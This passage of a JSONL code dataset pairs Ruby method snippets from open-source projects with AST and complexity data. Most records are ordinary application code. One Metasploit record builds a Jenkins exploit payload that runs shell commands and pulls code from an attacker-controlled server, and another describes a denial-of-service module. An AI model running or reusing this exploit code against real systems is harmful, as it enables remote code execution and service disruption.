codesigning\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"in_keychain\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"commands\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"in_keychain\"]}]},null]},{\"type\":\"xstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"commands\"]},\"join\",{\"type\":\"str\",\"children\":[\" \"]}]}]}]}]}]}","id":"2c746f56-d801-48fd-98e6-5a031313e5c7"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/spec/support/service_template_helper.rb","start_line":136,"raw_source":"def user_helper\n        @user = FactoryBot.create(:user_admin)\n      end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"user_helper\",{\"type\":\"args\",\"children\":[]},{\"type\":\"ivasgn\",\"children\":[\"@user\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FactoryBot\"]},\"create\",{\"type\":\"sym\",\"children\":[\"user_admin\"]}]}]}]}","id":"d94d58fe-7f9a-4189-9589-04dd614418d2"}
{"repo_name":"forem","file_path":"./repos/forem/db/migrate/20200409050122_add_listing_category_to_classified_listing.rb","start_line":4,"raw_source":"def change\n    safety_assured do\n      add_reference :classified_listings,\n                    :classified_listing_category,\n                    foreign_key: true,\n                    index: { algorithm: :concurrently }\n    end\n  end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"change\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"safety_assured\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"add_reference\",{\"type\":\"sym\",\"children\":[\"classified_listings\"]},{\"type\":\"sym\",\"children\":[\"classified_listing_category\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"foreign_key\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"index\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"algorithm\"]},{\"type\":\"sym\",\"children\":[\"concurrently\"]}]}]}]}]}]}]}]}","id":"53099557-ab64-4b0b-bd4e-94e292106109"}
{"repo_name":"sinatra","file_path":"./repos/sinatra/sinatra-contrib/spec/reloader_spec.rb","start_line":303,"raw_source":"def self.registered(klass)\n          klass.before { @hi = 'hi' }\n        end","complexity_score":3.1,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"registered\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"klass\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"klass\"]},\"before\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"ivasgn\",\"children\":[\"@hi\",{\"type\":\"str\",\"children\":[\"hi\"]}]}]}]}","id":"af367998-4280-46cf-b573-09ea95de79c7"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/validators/delete_rejected_email_after_days_validator.rb","start_line":14,"raw_source":"def error_message\n    I18n.t(\"site_settings.errors.delete_rejected_email_after_days\", max: MAX) if !@valid\n  end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"error_message\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@valid\"]},\"!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"site_settings.errors.delete_rejected_email_after_days\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"max\"]},{\"type\":\"const\",\"children\":[null,\"MAX\"]}]}]}]},null]}]}","id":"1799f2f7-3261-4c08-b2f1-1565810f02d3"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/mixins/file_depot_mixin.rb","start_line":65,"raw_source":"def requires_credentials?\n    case uri_prefix\n    when 'nfs'\n      false\n    else\n      true\n    end\n  end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"requires_credentials?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"case\",\"children\":[{\"type\":\"send\",\"children\":[null,\"uri_prefix\"]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"nfs\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"true\",\"children\":[]}]}]}","id":"7a02d771-96f5-4131-8914-87cfb0fa6d20"}
{"repo_name":"forem","file_path":"./repos/forem/app/models/poll.rb","start_line":128,"raw_source":"def set_default_position\n    return unless survey_id && position.nil?\n\n    max_position = survey.polls.maximum(:position) || -1\n    self.position = max_position + 1\n  end","complexity_score":13.7,"ast_json":"{\"type\":\"def\",\"children\":[\"set_default_position\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[null,\"survey_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"position\"]},\"nil?\"]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"max_position\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"survey\"]},\"polls\"]},\"maximum\",{\"type\":\"sym\",\"children\":[\"position\"]}]},{\"type\":\"int\",\"children\":[-1]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"position=\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"max_position\"]},\"+\",{\"type\":\"int\",\"children\":[1]}]}]}]}]}","id":"b4145e16-a25f-4ce9-9658-e8aa16f9402f"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/ci/badge/template.rb","start_line":31,"raw_source":"def key_width\n        if @key_width && @key_width.between?(1, MAX_KEY_WIDTH)\n          @key_width\n        else\n          DEFAULT_KEY_WIDTH\n        end\n      end","complexity_score":3.43,"ast_json":"{\"type\":\"def\",\"children\":[\"key_width\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@key_width\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@key_width\"]},\"between?\",{\"type\":\"int\",\"children\":[1]},{\"type\":\"const\",\"children\":[null,\"MAX_KEY_WIDTH\"]}]}]},{\"type\":\"ivar\",\"children\":[\"@key_width\"]},{\"type\":\"const\",\"children\":[null,\"DEFAULT_KEY_WIDTH\"]}]}]}","id":"2ae32ee8-f571-4a5e-bd35-2bd8ee959cd9"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/db/post_migrate/20241028135334_update_postgres_sequences_view2.rb","start_line":28,"raw_source":"def down\n    execute(<<~SQL)\n      DROP VIEW postgres_sequences\n    SQL\n\n    execute(<<~SQL)\n      CREATE OR REPLACE VIEW postgres_sequences AS\n      SELECT seq_pg_class.relname AS seq_name,\n             dep_pg_class.relname AS table_name,\n             pg_attribute.attname AS col_name\n      FROM pg_class seq_pg_class\n           INNER JOIN pg_depend ON seq_pg_class.oid = pg_depend.objid\n           INNER JOIN pg_class dep_pg_class ON pg_depend.refobjid = dep_pg_class.oid\n           INNER JOIN pg_attribute ON dep_pg_class.oid = pg_attribute.attrelid\n                                   AND pg_depend.refobjsubid = pg_attribute.attnum\n      WHERE pg_depend.classid = 'pg_class'::regclass\n        AND pg_depend.refclassid = 'pg_class'::regclass\n        AND seq_pg_class.relkind = 'S'\n    SQL\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"down\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"execute\",{\"type\":\"str\",\"children\":[\"DROP VIEW postgres_sequences\\n\"]}]},{\"type\":\"send\",\"children\":[null,\"execute\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"CREATE OR REPLACE VIEW postgres_sequences AS\\n\"]},{\"type\":\"str\",\"children\":[\"SELECT seq_pg_class.relname AS seq_name,\\n\"]},{\"type\":\"str\",\"children\":[\"       dep_pg_class.relname AS table_name,\\n\"]},{\"type\":\"str\",\"children\":[\"       pg_attribute.attname AS col_name\\n\"]},{\"type\":\"str\",\"children\":[\"FROM pg_class seq_pg_class\\n\"]},{\"type\":\"str\",\"children\":[\"     INNER JOIN pg_depend ON seq_pg_class.oid = pg_depend.objid\\n\"]},{\"type\":\"str\",\"children\":[\"     INNER JOIN pg_class dep_pg_class ON pg_depend.refobjid = dep_pg_class.oid\\n\"]},{\"type\":\"str\",\"children\":[\"     INNER JOIN pg_attribute ON dep_pg_class.oid = pg_attribute.attrelid\\n\"]},{\"type\":\"str\",\"children\":[\"                             AND pg_depend.refobjsubid = pg_attribute.attnum\\n\"]},{\"type\":\"str\",\"children\":[\"WHERE pg_depend.classid = 'pg_class'::regclass\\n\"]},{\"type\":\"str\",\"children\":[\"  AND pg_depend.refclassid = 'pg_class'::regclass\\n\"]},{\"type\":\"str\",\"children\":[\"  AND seq_pg_class.relkind = 'S'\\n\"]}]}]}]}]}","id":"afa16a9c-dde4-4d1a-b8c4-090a1264d9f9"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/email/message/repository_push.rb","start_line":100,"raw_source":"def ref_type\n          @ref_type ||= Gitlab::Git.tag_ref?(@ref) ? 'tag' : 'branch'\n        end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"ref_type\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@ref_type\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Git\"]},\"tag_ref?\",{\"type\":\"ivar\",\"children\":[\"@ref\"]}]},{\"type\":\"str\",\"children\":[\"tag\"]},{\"type\":\"str\",\"children\":[\"branch\"]}]}]}]}","id":"b2077be9-e7aa-4fb2-aa86-f22acb00a928"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/dos/windows/games/kaillera.rb","start_line":10,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'Kaillera 0.86 Server Denial of Service',\n        'Description' => %q{\n          The Kaillera 0.86 server can be shut down by sending any malformed packet\n          after the initial \"hello\" packet.\n        },\n        'Author' => ['Sil3nt_Dre4m'],\n        'License' => MSF_LICENSE,\n        'DisclosureDate' => '2011-07-02',\n        'References' => [\n          [ 'CVE', '2011-10020' ]\n        ],\n        'Notes' => {\n          'Stability' => [CRASH_SERVICE_DOWN],\n          'SideEffects' => [],\n          'Reliability' => []\n        }\n      )\n    )\n\n    register_options([\n      Opt::RPORT(27888)\n    ])\n  end","complexity_score":5.55,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"Kaillera 0.86 Server Denial of Service\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          The Kaillera 0.86 server can be shut down by sending any malformed packet\\n\"]},{\"type\":\"str\",\"children\":[\"          after the initial \\\"hello\\\" packet.\\n\"]},{\"type\":\"str\",\"children\":[\"        \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Sil3nt_Dre4m\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisclosureDate\"]},{\"type\":\"str\",\"children\":[\"2011-07-02\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2011-10020\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CRASH_SERVICE_DOWN\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"array\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"array\",\"children\":[]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Opt\"]},\"RPORT\",{\"type\":\"int\",\"children\":[27888]}]}]}]}]}]}","id":"5583dfa2-c1fa-47e2-94d8-6cbb698e41da"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/qa/runtime/browser.rb","start_line":232,"raw_source":"def self.chrome_profile_location\n        ::File.expand_path('../../tmp/qa-profile', __dir__)\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"chrome_profile_location\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"File\"]},\"expand_path\",{\"type\":\"str\",\"children\":[\"../../tmp/qa-profile\"]},{\"type\":\"send\",\"children\":[null,\"__dir__\"]}]}]}","id":"dc2eaf6f-bfb1-492d-8a1d-097622f8cee7"}
{"repo_name":"fluentd","file_path":"./repos/fluentd/lib/fluent/compat/type_converter.rb","start_line":40,"raw_source":"def self.included(klass)\n        klass.instance_eval {\n          config_param :types, :string, default: nil\n          config_param :types_delimiter, :string, default: ','\n          config_param :types_label_delimiter, :string, default: ':'\n        }\n      end","complexity_score":9.6,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"included\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"klass\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"klass\"]},\"instance_eval\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"config_param\",{\"type\":\"sym\",\"children\":[\"types\"]},{\"type\":\"sym\",\"children\":[\"string\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default\"]},{\"type\":\"nil\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[null,\"config_param\",{\"type\":\"sym\",\"children\":[\"types_delimiter\"]},{\"type\":\"sym\",\"children\":[\"string\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default\"]},{\"type\":\"str\",\"children\":[\",\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"config_param\",{\"type\":\"sym\",\"children\":[\"types_label_delimiter\"]},{\"type\":\"sym\",\"children\":[\"string\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default\"]},{\"type\":\"str\",\"children\":[\":\"]}]}]}]}]}]}]}","id":"c91488d8-40bc-40a6-b46f-598537fc0d3c"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/multi/http/jenkins_metaprogramming.rb","start_line":202,"raw_source":"def go_go_gadget2\n    case target['Type']\n    when :unix_memory\n      payload_escaped = payload.encoded.gsub(\"'\", \"\\\\'\")\n\n      <<~EOF.strip\n        class #{app} {\n          #{app}() {\n            ['sh', '-c', '#{payload_escaped}'].execute()\n          }\n        }\n      EOF\n    when :java_dropper\n      <<~EOF.strip\n        @GrabConfig(disableChecksums=true)\n        @GrabResolver('http://#{srvhost_addr}:#{srvport}')\n        @Grab('#{vendor}:#{app}:#{version}')\n        import #{app}\n      EOF\n    end\n  end","complexity_score":24.4,"ast_json":"{\"type\":\"def\",\"children\":[\"go_go_gadget2\",{\"type\":\"args\",\"children\":[]},{\"type\":\"case\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Type\"]}]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"unix_memory\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"payload_escaped\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"payload\"]},\"encoded\"]},\"gsub\",{\"type\":\"str\",\"children\":[\"'\"]},{\"type\":\"str\",\"children\":[\"\\\\'\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"class \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"app\"]}]},{\"type\":\"str\",\"children\":[\" {\\n\"]},{\"type\":\"str\",\"children\":[\"  \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"app\"]}]},{\"type\":\"str\",\"children\":[\"() {\\n\"]},{\"type\":\"str\",\"children\":[\"    ['sh', '-c', '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payload_escaped\"]}]},{\"type\":\"str\",\"children\":[\"'].execute()\\n\"]},{\"type\":\"str\",\"children\":[\"  }\\n\"]},{\"type\":\"str\",\"children\":[\"}\\n\"]}]},\"strip\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"java_dropper\"]},{\"type\":\"send\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"@GrabConfig(disableChecksums=true)\\n\"]},{\"type\":\"str\",\"children\":[\"@GrabResolver('http://\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"srvhost_addr\"]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"srvport\"]}]},{\"type\":\"str\",\"children\":[\"')\\n\"]},{\"type\":\"str\",\"children\":[\"@Grab('\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"vendor\"]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"app\"]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"version\"]}]},{\"type\":\"str\",\"children\":[\"')\\n\"]},{\"type\":\"str\",\"children\":[\"import \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"app\"]}]},{\"type\":\"str\",\"children\":[\"\\n\"]}]},\"strip\"]}]},null]}]}","id":"88ab88d4-5627-4f2d-9bd8-c22d3ce3decc"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/fastlane/lib/fastlane/actions/ipa.rb","start_line":140,"raw_source":"def self.available_options\n        [\n          FastlaneCore::ConfigItem.new(key: :workspace,\n                                       env_name: \"IPA_WORKSPACE\",\n                                       description: \"WORKSPACE Workspace (.xcworkspace) file to use to build app (automatically detected in current directory)\",\n                                       optional: true),\n          FastlaneCore::ConfigItem.new(key: :project,\n                                       env_name: \"IPA_PROJECT\",\n                                       description: \"Project (.xcodeproj) file to use to build app (automatically detected in current directory, overridden by --workspace option, if passed)\",\n                                       optional: true),\n          FastlaneCore::ConfigItem.new(key: :configuration,\n                                       env_name: \"IPA_CONFIGURATION\",\n                                       description: \"Configuration used to build\",\n                                       optional: true),\n          FastlaneCore::ConfigItem.new(key: :scheme,\n                                       env_name: \"IPA_SCHEME\",\n                                       description: \"Scheme used to build app\",\n                                       optional: true),\n          FastlaneCore::ConfigItem.new(key: :clean,\n                                       env_name: \"IPA_CLEAN\",\n                                       description: \"Clean project before building\",\n                                       optional: true,\n                                       type: Boolean),\n          FastlaneCore::ConfigItem.new(key: :archive,\n                                       env_name: \"IPA_ARCHIVE\",\n                                       description: \"Archive project after building\",\n                                       optional: true,\n                                       type: Boolean),\n          FastlaneCore::ConfigItem.new(key: :destination,\n                                       env_name: \"IPA_DESTINATION\",\n                                       description: \"Build destination. Defaults to current directory\",\n                                       default_value_dynamic: true,\n                                       optional: true),\n          FastlaneCore::ConfigItem.new(key: :embed,\n                                       env_name: \"IPA_EMBED\",\n                                       description: \"Sign .ipa file with .mobileprovision\",\n                                       optional: true),\n          FastlaneCore::ConfigItem.new(key: :identity,\n                                       env_name: \"IPA_IDENTITY\",\n                                       description: \"Identity to be used along with --embed\",\n                                       optional: true),\n          FastlaneCore::ConfigItem.new(key: :sdk,\n                                       env_name: \"IPA_SDK\",\n                                       description: \"Use SDK as the name or path of the base SDK when building the project\",\n                                       optional: true),\n          FastlaneCore::ConfigItem.new(key: :ipa,\n                                       env_name: \"IPA_IPA\",\n                                       description: \"Specify the name of the .ipa file to generate (including file extension)\",\n                                       optional: true),\n          FastlaneCore::ConfigItem.new(key: :xcconfig,\n                                       env_name: \"IPA_XCCONFIG\",\n                                       description: \"Use an extra XCCONFIG file to build the app\",\n                                       optional: true),\n          FastlaneCore::ConfigItem.new(key: :xcargs,\n                                       env_name: \"IPA_XCARGS\",\n                                       description: \"Pass additional arguments to xcodebuild when building the app. Be sure to quote multiple args\",\n                                       optional: true,\n                                       type: :shell_string)\n        ]\n      end","complexity_score":13.0,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"available_options\",{\"type\":\"args\",\"children\":[]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FastlaneCore\"]},\"ConfigItem\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"key\"]},{\"type\":\"sym\",\"children\":[\"workspace\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"env_name\"]},{\"type\":\"str\",\"children\":[\"IPA_WORKSPACE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"description\"]},{\"type\":\"str\",\"children\":[\"WORKSPACE Workspace (.xcworkspace) file to use to build app (automatically detected in current directory)\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"optional\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FastlaneCore\"]},\"ConfigItem\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"key\"]},{\"type\":\"sym\",\"children\":[\"project\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"env_name\"]},{\"type\":\"str\",\"children\":[\"IPA_PROJECT\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"description\"]},{\"type\":\"str\",\"children\":[\"Project (.xcodeproj) file to use to build app (automatically detected in current directory, overridden by --workspace option, if passed)\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"optional\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FastlaneCore\"]},\"ConfigItem\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"key\"]},{\"type\":\"sym\",\"children\":[\"configuration\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"env_name\"]},{\"type\":\"str\",\"children\":[\"IPA_CONFIGURATION\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"description\"]},{\"type\":\"str\",\"children\":[\"Configuration used to build\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"optional\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FastlaneCore\"]},\"ConfigItem\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"key\"]},{\"type\":\"sym\",\"children\":[\"scheme\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"env_name\"]},{\"type\":\"str\",\"children\":[\"IPA_SCHEME\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"description\"]},{\"type\":\"str\",\"children\":[\"Scheme used to build app\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"optional\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FastlaneCore\"]},\"ConfigItem\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"key\"]},{\"type\":\"sym\",\"children\":[\"clean\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"env_name\"]},{\"type\":\"str\",\"children\":[\"IPA_CLEAN\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"description\"]},{\"type\":\"str\",\"children\":[\"Clean project before building\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"optional\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"const\",\"children\":[null,\"Boolean\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FastlaneCore\"]},\"ConfigItem\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"key\"]},{\"type\":\"sym\",\"children\":[\"archive\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"env_name\"]},{\"type\":\"str\",\"children\":[\"IPA_ARCHIVE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"description\"]},{\"type\":\"str\",\"children\":[\"Archive project after building\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"optional\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"const\",\"children\":[null,\"Boolean\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FastlaneCore\"]},\"ConfigItem\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"key\"]},{\"type\":\"sym\",\"children\":[\"destination\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"env_name\"]},{\"type\":\"str\",\"children\":[\"IPA_DESTINATION\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"description\"]},{\"type\":\"str\",\"children\":[\"Build destination. Defaults to current directory\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default_value_dynamic\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"optional\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FastlaneCore\"]},\"ConfigItem\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"key\"]},{\"type\":\"sym\",\"children\":[\"embed\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"env_name\"]},{\"type\":\"str\",\"children\":[\"IPA_EMBED\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"description\"]},{\"type\":\"str\",\"children\":[\"Sign .ipa file with 